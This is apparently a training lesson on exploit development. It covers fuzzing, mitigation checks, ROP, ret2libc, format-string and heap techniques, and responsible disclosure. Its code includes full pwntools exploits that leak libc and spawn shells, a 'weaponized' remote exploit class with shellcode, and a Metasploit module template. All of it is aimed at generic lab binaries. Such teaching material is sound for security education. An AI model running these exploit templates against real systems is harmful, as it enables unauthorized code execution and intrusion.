Exploit Development
Exploit Development is the process of creating working exploits for vulnerabilities. It combines knowledge of assembly, debugging, reverse engineering, and creative problem-solving to turn security flaws into reliable attacks. This lesson covers the exploit development lifecycle, techniques, tools, and methodologies.
What You'll Learn
- Exploit development lifecycle
- Vulnerability analysis
- Reverse engineering basics
- Debugging and dynamic analysis
- Writing proof-of-concept exploits
- Exploit reliability and portability
- Bypassing security mitigations
- Fuzzing for vulnerabilities
- Weaponizing exploits
- Responsible disclosure
Exploit Development Lifecycle
The Process
1. Vulnerability Discovery
↓
2. Vulnerability Analysis
↓
3. Proof of Concept (PoC)
↓
4. Exploit Development
↓
5. Exploit Refinement
↓
6. Testing and Validation
↓
7. Weaponization (or Disclosure)
Vulnerability Discovery
1. Source Code Analysis
Manual Review:
// Look for dangerous patterns
strcpy(buffer, user_input); // No bounds checking
gets(buffer); // Dangerous function
sprintf(buffer, "%s", input); // Format string
system(user_cmd); // Command injection
Automated Tools:
# Static analysis
cppcheck source.c
flawfinder source.c
rats source.c
# Scan for patterns
grep -r "strcpy\|gets\|sprintf" .
2. Binary Analysis
Without source code:
# Disassemble binary
objdump -d binary
radare2 binary
ghidra binary
# Look for:
- Unsafe functions
- Integer overflows
- Format string bugs
- Use-after-free
3. Fuzzing
Automated input testing:
# AFL (American Fuzzy Lop)
afl-gcc -o target target.c
afl-fuzz -i input_dir -o output_dir ./target @@
# Radamsa
radamsa samples/* | ./target
# Peach Fuzzer
# For complex protocols
# Honggfuzz
honggfuzz -i input_corpus -o output -- ./target ___FILE___
Vulnerability Analysis
Understanding the Bug
Key Questions:
- What type of vulnerability?
- What can be controlled?
- What are the constraints?
- What protections are enabled?
- What's the attack surface?
Checking Protections
# Linux - checksec
checksec --file=binary
# Output:
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE
# Windows - PESecurity
Get-PESecurity -file binary.exe
# Manual check
readelf -l binary | grep GNU_STACK
rabin2 -I binary
Protections:
- NX/DEP: Non-executable stack
- ASLR: Address randomization
- Stack Canary: Buffer overflow protection
- PIE: Position Independent Executable
- RELRO: Read-only relocations
- CFG: Control Flow Guard (Windows)
Proof of Concept Development
PoC Goals
- Demonstrate vulnerability exists
- Show impact (crash, control flow)
- Minimal, reproducible
- Safe (no malicious payload)
Example PoC
#!/usr/bin/env python3
"""
Proof of Concept for Buffer Overflow in vulnerable_app v1.0
Tested on: Ubuntu 20.04 x64
Author: Security Researcher
Date: 2024-01-01
Vulnerability: Stack-based buffer overflow in process_input()
Impact: Denial of Service (crash)
"""
import socket
# Target
HOST = "192.168.1.100"
PORT = 9999
# Create crash PoC
payload = b"A" * 1000
# Send payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(payload)
s.close()
print("[+] PoC sent - Target should crash")
Exploit Development Process
Step 1: Crash Analysis
# Run under debugger
gdb ./vulnerable
# Capture crash
run $(python -c 'print "A" * 1000')
# Examine crash
info registers
backtrace
x/100x $rsp
Identify:
- Crash type (segfault, access violation)
- Controlled registers
- Overwritten data
Step 2: Control Flow Hijacking
Goal: Control instruction pointer (EIP/RIP)
# Find offset to return address
from pwn import *
# Generate pattern
pattern = cyclic(1000)
# Send pattern
# ...
# Crash shows RIP = 0x6161616c ('laaa')
offset = cyclic_find(0x6161616c)
print(f"Offset: {offset}")
# Verify control
payload = b"A" * offset + p64(0x4141414141414141)
# RIP should be 0x4141414141414141
Step 3: Finding Gadgets
For ROP (when NX enabled):
# ROPgadget
ROPgadget --binary vulnerable | grep "pop rdi"
# Ropper
ropper --file vulnerable --search "pop rdi"
# radare2
r2 vulnerable
/R pop rdi; ret
# Common gadgets:
pop rdi; ret # Set first argument
pop rsi; pop r15; ret # Set second argument
pop rdx; ret # Set third argument
syscall; ret # Make syscall
Step 4: Building Exploit
#!/usr/bin/env python3
from pwn import *
# Configuration
binary = './vulnerable'
elf = ELF(binary)
rop = ROP(elf)
# Addresses
system_plt = elf.plt['system']
bin_sh = next(elf.search(b'/bin/sh'))
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
# Build exploit
offset = 72
payload = flat([
b'A' * offset,
pop_rdi,
bin_sh,
system_plt
])
# Launch
if args.REMOTE:
p = remote('target.com', 9999)
else:
p = process(binary)
p.sendline(payload)
p.interactive()
Advanced Techniques
1. Ret2libc
Call libc functions without shellcode:
# Find libc base
libc_base = leak_function - libc.symbols['function']
# Calculate addresses
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
# Build ROP chain
payload = flat([
b'A' * offset,
pop_rdi,
bin_sh_addr,
system_addr
])
2. Information Leak
Leak addresses to bypass ASLR:
# Stage 1: Leak libc address
payload1 = flat([
b'A' * offset,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
main_addr # Return to main
])
p.sendline(payload1)
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']
# Stage 2: Execute with known addresses
# ... build final exploit
3. Stack Pivot
Move stack to controlled memory:
# Find stack pivot gadget
# xchg rsp, rax; ret
# mov rsp, rax; ret
pivot_gadget = 0x40123456
payload = flat([
b'A' * offset,
pop_rax,
controlled_memory,
pivot_gadget,
# Now ROP chain continues from controlled_memory
])
4. Format String Exploitation
Read/Write arbitrary memory:
# Read memory
payload = b"%3$p" # Read 3rd argument
# Write memory
payload = b"%10$n" # Write to address at 10th argument
# Leak stack canary
payload = b"%13$p" # If canary at offset 13
# Write specific value
# Write 0x41414141 to address
addr = p32(target_addr)
payload = addr + b"%4094x%10$n" # 4094 + 4 = 4098 = 0x1002
5. Heap Exploitation
Heap overflow, use-after-free:
# Heap overflow
# Overwrite next chunk metadata
payload = b'A' * size + p64(size) + p64(flags)
# Use-after-free
# 1. Allocate object
obj1 = malloc(128)
# 2. Free object
free(obj1)
# 3. Allocate new object (reuses memory)
obj2 = malloc(128)
# 4. Use old pointer (obj1)
# Points to obj2's memory!
Fuzzing for Vulnerabilities
AFL (American Fuzzy Lop)
# Install
sudo apt install afl++
# Compile with AFL
afl-gcc -o target target.c
# Create input directory
mkdir input
echo "AAAA" > input/test.txt
# Fuzz
afl-fuzz -i input -o output -m none ./target @@
# Monitor crashes
ls output/crashes/
# Reproduce crash
./target output/crashes/id:000000,sig:11,src:000000,op:flip1,pos:0
LibFuzzer
// fuzzer.c
#include <stdint.h>
#include <stddef.h>
// Vulnerable function
void process(const uint8_t *data, size_t size) {
char buffer[64];
if (size > 64) {
memcpy(buffer, data, size); // Overflow!
}
}
// Fuzz target
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
process(data, size);
return 0;
}
# Compile
clang -fsanitize=fuzzer,address fuzzer.c -o fuzzer
# Run
./fuzzer
# Crashes saved automatically
Exploit Reliability
Making Exploits Robust
# 1. NOP Sled (landing zone)
nops = b'\x90' * 100
# 2. Multiple return addresses
# Spray stack with return addresses
rets = p64(target_addr) * 10
# 3. Heap Spray (web browsers)
# Allocate many objects with payload
for i in range(1000):
obj = allocate_object()
obj.data = nops + shellcode
# 4. Error handling
try:
p.sendline(payload)
p.recv()
except:
log.error("Exploit failed")
Weaponization
From PoC to Exploit
#!/usr/bin/env python3
"""
Exploit for CVE-XXXX-YYYY
Target: Application v1.0
Platform: Linux x64
"""
from pwn import *
import argparse
class Exploit:
def __init__(self, target, port):
self.target = target
self.port = port
def build_payload(self, callback_ip, callback_port):
# Generate shellcode
shellcode = asm(shellcraft.amd64.linux.sh())
# Build exploit
payload = flat([
b'A' * self.offset,
self.ret_addr,
b'\x90' * 100,
shellcode
])
return payload
def exploit(self, callback_ip, callback_port):
log.info(f"Exploiting {self.target}:{self.port}")
# Connect
p = remote(self.target, self.port)
# Send payload
payload = self.build_payload(callback_ip, callback_port)
p.sendline(payload)
# Interactive shell
p.interactive()
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('target', help='Target IP')
parser.add_argument('port', type=int, help='Target port')
parser.add_argument('--lhost', required=True, help='Callback IP')
parser.add_argument('--lport', type=int, default=4444, help='Callback port')
args = parser.parse_args()
exploit = Exploit(args.target, args.port)
exploit.exploit(args.lhost, args.lport)
Metasploit Module Development
Creating MSF Module
##
# Exploit for Vulnerable App 1.0
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Vulnerable App 1.0 Stack Overflow',
'Description' => %q{
This module exploits a stack overflow in Vulnerable App 1.0
},
'Author' => ['Your Name'],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-1234'],
['URL', 'https://vulnerable-app.com']
],
'Platform' => 'linux',
'Targets' =>
[
['Ubuntu 20.04 x64', { 'Ret' => 0x080484b0 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 2024'
))
register_options([
Opt::RPORT(9999)
])
end
def check
# Check if target is vulnerable
connect
sock.put("TEST\n")
res = sock.get_once
disconnect
if res && res.include?("Vulnerable App 1.0")
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
# Build exploit
buffer = "A" * 1000
buffer << [target.ret].pack('V')
buffer << payload.encoded
# Send exploit
connect
sock.put(buffer)
handler
disconnect
end
end
Practical Examples
Example 1: Stack Overflow Exploit
#!/usr/bin/env python3
from pwn import *
context(arch='amd64', os='linux')
# Target
binary = './vuln'
elf = ELF(binary)
# Gadgets
pop_rdi = 0x00401123
ret = 0x00401016
# Libc functions
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
# Start process
if args.REMOTE:
p = remote('target.com', 1337)
else:
p = process(binary)
# Stage 1: Leak libc
log.info("Stage 1: Leaking libc address")
payload1 = flat([
b'A' * 72,
pop_rdi,
puts_got,
puts_plt,
main
])
p.sendline(payload1)
p.recvuntil(b'> ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f"Puts leak: {hex(leak)}")
# Calculate libc base
libc = ELF('./libc.so.6')
libc.address = leak - libc.symbols['puts']
log.success(f"Libc base: {hex(libc.address)}")
# Stage 2: Spawn shell
log.info("Stage 2: Spawning shell")
binsh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']
payload2 = flat([
b'A' * 72,
ret, # Stack alignment
pop_rdi,
binsh,
system
])
p.sendline(payload2)
p.interactive()
Example 2: Format String Exploit
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
p = process('./format_vuln')
# Leak canary
payload = b"%15$p"
p.sendline(payload)
canary = int(p.recvline().strip(), 16)
log.success(f"Canary: {hex(canary)}")
# Overwrite GOT entry
target = 0x0804a018 # GOT entry
shellcode_addr = 0x0804c000
# Write address byte by byte
# (Format string write technique)
writes = {target: shellcode_addr}
payload = fmtstr_payload(6, writes)
p.sendline(payload)
p.interactive()
Responsible Disclosure
Disclosure Process
1. Discover vulnerability
↓
2. Create PoC (no weaponization yet)
↓
3. Contact vendor privately
↓
4. Allow 90 days for patch
↓
5. Coordinate disclosure
↓
6. Public disclosure (with patch available)
Disclosure Report Template
VULNERABILITY REPORT
Product: Application Name v1.0
Vendor: Company Name
Severity: High
Vulnerability Type: Stack-based Buffer Overflow
SUMMARY:
A stack-based buffer overflow exists in the process_input()
function, allowing remote code execution.
AFFECTED VERSIONS:
- Version 1.0
- Version 0.9
VULNERABILITY DETAILS:
The vulnerable function fails to validate input length before
copying to a fixed-size buffer.
PROOF OF CONCEPT:
[Attach PoC that demonstrates crash only]
IMPACT:
Remote Code Execution with privileges of the application.
RECOMMENDED FIX:
1. Validate input length
2. Use safe string functions (strncpy)
3. Enable stack canaries
TIMELINE:
2024-01-01: Vulnerability discovered
2024-01-02: Vendor notified
2024-01-05: Vendor confirmed
2024-03-01: Patch released
2024-03-05: Public disclosure
REFERENCES:
CVE-XXXX-YYYY
Tools and Frameworks
Essential Tools
# Debuggers
gdb + pwndbg/gef # Linux
Immunity Debugger # Windows
WinDbg # Windows
x64dbg # Windows
# Disassemblers
IDA Pro # Commercial
Ghidra # Free (NSA)
radare2 # Open source
Binary Ninja # Commercial
# Frameworks
Metasploit # Exploitation framework
pwntools # Python exploit framework
ROPgadget # ROP chain generator
ropper # ROP tool
# Fuzzers
AFL++ # Coverage-guided fuzzer
libFuzzer # In-process fuzzer
Honggfuzz # Feedback-driven fuzzer
Peach Fuzzer # Protocol fuzzer
Quick Reference
# pwntools basics
from pwn import *
# Connect
p = remote('target.com', 1337)
p = process('./binary')
# Send/Receive
p.sendline(data)
p.recv()
p.recvline()
p.recvuntil(b'> ')
# Pack/Unpack
p32(0x41414141) # 32-bit little-endian
p64(0x4141414141414141) # 64-bit
u32(data)
u64(data)
# Flat payload
payload = flat([
b'A' * offset,
address,
data
])
# Shellcode
shellcode = asm(shellcraft.amd64.linux.sh())
# Interactive
p.interactive()
# ROP
elf = ELF('./binary')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
Resources
Practice
- OverTheWire: Narnia, Behemoth
- HackTheBox: Pwn challenges
- TryHackMe: Exploit development rooms
- Exploit Education: Phoenix, Fusion
- pwnable.kr: Pwn challenges
Application Security:
- Vulnerability Management Training - Triage, prioritisation, SLAs, and managing vulnerabilities at scale
- Bug Bounty and Responsible Disclosure - From discovering bugs to writing clear reports and working with security teams
Learning
- Corelan Exploit Writing Tutorials
- Offensive Security: Advanced Windows Exploitation (AWE)
- OpenSecurityTraining: Exploits 1 & 2
- Modern Binary Exploitation (RPI)
Next Steps
- Master assembly (x86/x64)
- Learn debugging deeply (GDB, WinDbg)
- Practice on CTFs regularly
- Study security mitigations and bypasses
- Contribute to bug bounties responsibly
Exploit development combines creativity with technical skill. Master these fundamentals to build advanced exploitation capabilities!
"Exploit development: Turning 'It's a feature' into 'It's a vulnerability.'"